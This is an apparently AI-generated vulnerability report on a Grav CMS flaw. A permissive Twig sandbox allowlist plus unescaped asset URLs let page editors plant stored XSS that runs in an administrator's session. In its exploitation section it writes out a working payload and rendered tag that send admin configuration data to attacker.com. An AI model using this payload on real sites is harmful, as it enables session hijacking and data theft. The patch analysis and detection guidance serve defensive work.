CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-8HGV-XC77-JMCR

GHSA-8HGV-XC77-JMCR: Privilege Escalation to Super-Admin via Twig Sandbox Escape and Stored XSS in Grav CMS Assets

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 21, 2026·6 min read·15 visits

Executive Summary (TL;DR)

A privilege escalation vulnerability in Grav CMS allows page editors to execute arbitrary client-side script code in administrative contexts. By combining a permissive Twig sandbox allowlist with attribute breakout in asset rendering, attackers can steal JWT tokens or create rogue administrative accounts.

An overly permissive default configuration in the Grav CMS Twig sandbox combined with a lack of neutralization of double-quote characters in the Asset rendering engine allows low-privileged page editors to inject malicious JavaScript into administrative contexts. This leads to a stored cross-site scripting (XSS) condition that compromises the sessions of super-administrators, facilitating complete privilege escalation.

Vulnerability Overview

Grav CMS is a flat-file content management system that employs a Twig-based template engine to parse page content. To ensure that content editors with draft or page editing capabilities cannot run arbitrary server-side code or access restricted system configurations, Grav routes template rendering through a Twig sandbox. This sandbox restricts the execution of dangerous classes, methods, and properties.

However, a design flaw exists in the default sandbox configuration. The sandbox allowlisted execution privileges on the Grav\Common\Assets class, specifically allowing page editors to invoke the addCss and addJs methods. These methods add resources dynamically to the global queue before rendering the final HTML page.

Because the Twig sandbox only restricted the invocation of methods but did not validate the contents of the arguments passed, page editors could supply arbitrary URLs containing payload attributes. Because these registrations mutate the global state of the shared asset service, they bypass safe HTML parsing filters executed during the page-save phase, leading directly to execution contexts at rendering time.

Root Cause Analysis

The underlying security issue is caused by two architectural flaws acting in concert. The first flaw is a permissive configuration setting located in the sandbox initialization file system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php. The system configuration default allowlisted the methods __tostring, addcss, and addjs on the Grav\Common\Assets class.

This configuration allowed any page editor with permissions to write or modify markdown pages containing Twig blocks to invoke the asset queuing system. The second flaw is located within the core asset compilation engine. When Grav constructs the HTML output for queued assets, it performs string concatenation rather than utilizing a programmatic DOM or structured attribute-binding API.

Specifically, when rendering a JavaScript asset, the engine wraps the supplied URL string in double-quote characters. If an attacker injects a double-quote character inside the URL string, they can close the src attribute context prematurely. The browser interprets any subsequent strings as independent, active attributes on the <script> tag, such as event handlers (e.g., onload or onerror).

Code Analysis

To understand the vulnerability, consider the original asset generation mechanism in system/src/Grav/Common/Assets/Js.php prior to version 2.0.20:

// Vulnerable render mechanism in Js.php
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . $this->integrityHash($this->asset) . "></script>\n";

Because $this->asset is injected verbatim into the source string, any user-supplied double-quote character causes an early termination of the src attribute. This permits the insertion of malicious payloads.

The official patch in commit a4e8c4b748eb338ee7ab1dd26e7620a93bade047 resolves the bug at both points of failure. In SandboxDefaults.php, the permissive methods were removed:

-            ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring, addcss, addjs'],
+            // addcss/addjs are deliberately NOT allowlisted: the sandbox arbitrates
+            // the call, not its downstream effect. Both mutate the shared Assets
+            // service and the theme then emits the registration as a <script src>/
+            // <link href> in the page head, which the save-time XSS scan cannot see.
+            // A site that truly needs them can re-add via allowed_methods.
+            ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring'],

Additionally, a new neutralization sink was introduced within the shared utility traits (system/src/Grav/Common/Assets/Traits/AssetUtilsTrait.php) to sanitize character strings:

    /**
     * Neutralise the attribute-breakout characters in an asset URL.
     */
    protected function escapeAssetUrl($url)
    {
        return str_replace(
            ['"', "'", '<', '>'],
            ['&quot;', '&#39;', '&lt;', '&gt;'],
            (string) $url
        );
    }

All subsequent asset render pipelines were updated to pass $this->asset through escapeAssetUrl() to ensure that the attribute context cannot be broken.

Exploitation Methodology

To execute this attack, an attacker requires a standard user account with page editing permissions. First, the attacker creates a new page or edits an existing one, ensuring that Twig processing is explicitly enabled in the frontmatter configuration (process: twig: true).

Second, the attacker inputs a Twig expression that calls the asset management object with a crafted URL. This URL is structured to close the src attribute and append a malicious payload inside an active handler:

{{ assets.addJs('https://attacker.com/malicious.js" onload="fetch(\'/admin/config\').then(r=>r.text()).then(d=>fetch(\'https://attacker.com/exfil?data=\' + btoa(d)))') }}

When a super-administrator previews this page inside the administrator portal, the page is rendered within an iframe sharing the administrative panel's origin. The application processes the Twig call and renders the following HTML tag inside the document head:

<script src="https://attacker.com/malicious.js" onload="fetch('/admin/config').then(r=>r.text()).then(d=>fetch('https://attacker.com/exfil?data=' + btoa(d)))" ...></script>

When the administrator's browser parses this script tag, it triggers the inline onload event handler. The execution of this script occurs within the authenticated session context of the administrator, allowing the attacker to access local storage, steal active JSON Web Tokens (JWTs), or perform privileged background requests.

Impact Assessment

The impact of this vulnerability is critical. Although it requires standard editor authentication to inject the payload, it changes the execution scope (S:C) and compromises administrative interfaces. Because Grav CMS displays page previews directly within the dashboard to allow administrators to review content changes, the attack executes transparently during regular operations.

Once the arbitrary script executes under the context of an administrator, the attacker can hijack the administrative session. This leads to complete access to administrative APIs, including the ability to read system configuration parameters, access database settings, exfiltrate sensitive files, or create additional administrative users.

In scenarios where the system configuration allows system commands or shell execution via plugin panels, this vulnerability can be leveraged as an initial stage to achieve remote code execution (RCE) on the underlying server. No specific non-default configuration is required to render the application vulnerable.

Remediation & Detection Guidance

Remediation requires updating the core installation of Grav CMS to version 2.0.20 or later. This release updates the default sandbox configurations and applies strict asset attribute escaping.

To identify potential exploitation attempts, administrators should audit existing markdown content files (user/pages) for unauthorized or suspicious Twig syntax utilizing asset management arrays. Look for direct references to the following structures:

  • assets.addJs
  • assets.addCss
  • assets.add

If upgrading immediately is not possible, the threat can be mitigated by disabling these methods manually. Open system/config/security.yaml (or the local override user/config/security.yaml) and verify that the security.twig_sandbox.allowed_methods directive does not allow addjs, addcss, or other asset modification calls for the Grav\Common\Assets class.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.0/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Affected Systems

Grav CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Grav CMS
Trilby Media
< 2.0.202.0.20
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS v3.1 Score9.0 (Critical)
Exploit MaturityPoC (Proof of Concept)
KEV StatusNot Listed
Affected Versions< 2.0.20

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability fixed in Grav core codebase by lead developer Andy Miller
2026-08-20
Grav CMS version 2.0.20 officially released containing the security patches
2026-08-20
Public disclosure of GitHub Security Advisory GHSA-8HGV-XC77-JMCR
2026-08-20

References & Sources

  • [1]GitHub Security Advisory GHSA-8HGV-XC77-JMCR
  • [2]Official Patch Commit
  • [3]Grav CMS Version 2.0.20 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 minutes ago•CVE-2026-109619
9.2

CVE-2026-109619: Remote Code Execution in PHP Core via Stale Global State Memory Corruption (PHP2Shell)

CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.

Alon Barad
Alon Barad
1 views•6 min read
•5 minutes ago•CVE-2026-113721
4.5

CVE-2026-113721: Unsafe Link Resolution in virtualenv File Generation

In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.

Amit Schendel
Amit Schendel
1 views•5 min read
•9 days ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
31 views•5 min read
•9 days ago•CVE-2026-70007
8.8

CVE-2026-70007: Out-of-Bounds Write Vulnerability in .NET Framework and WPF Subsystem

An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.

Amit Schendel
Amit Schendel
19 views•6 min read
•10 days ago•CVE-2026-70186
7.5

CVE-2026-70186: ASP.NET Core Denial of Service Vulnerability via Framework Deadlock

ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.

Amit Schendel
Amit Schendel
18 views•5 min read
•10 days ago•CVE-2026-70035
8.8

CVE-2026-70035: Insecure Deserialization Remote Code Execution in Microsoft .NET Framework and .NET Runtime

CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.

Amit Schendel
Amit Schendel
24 views•6 min read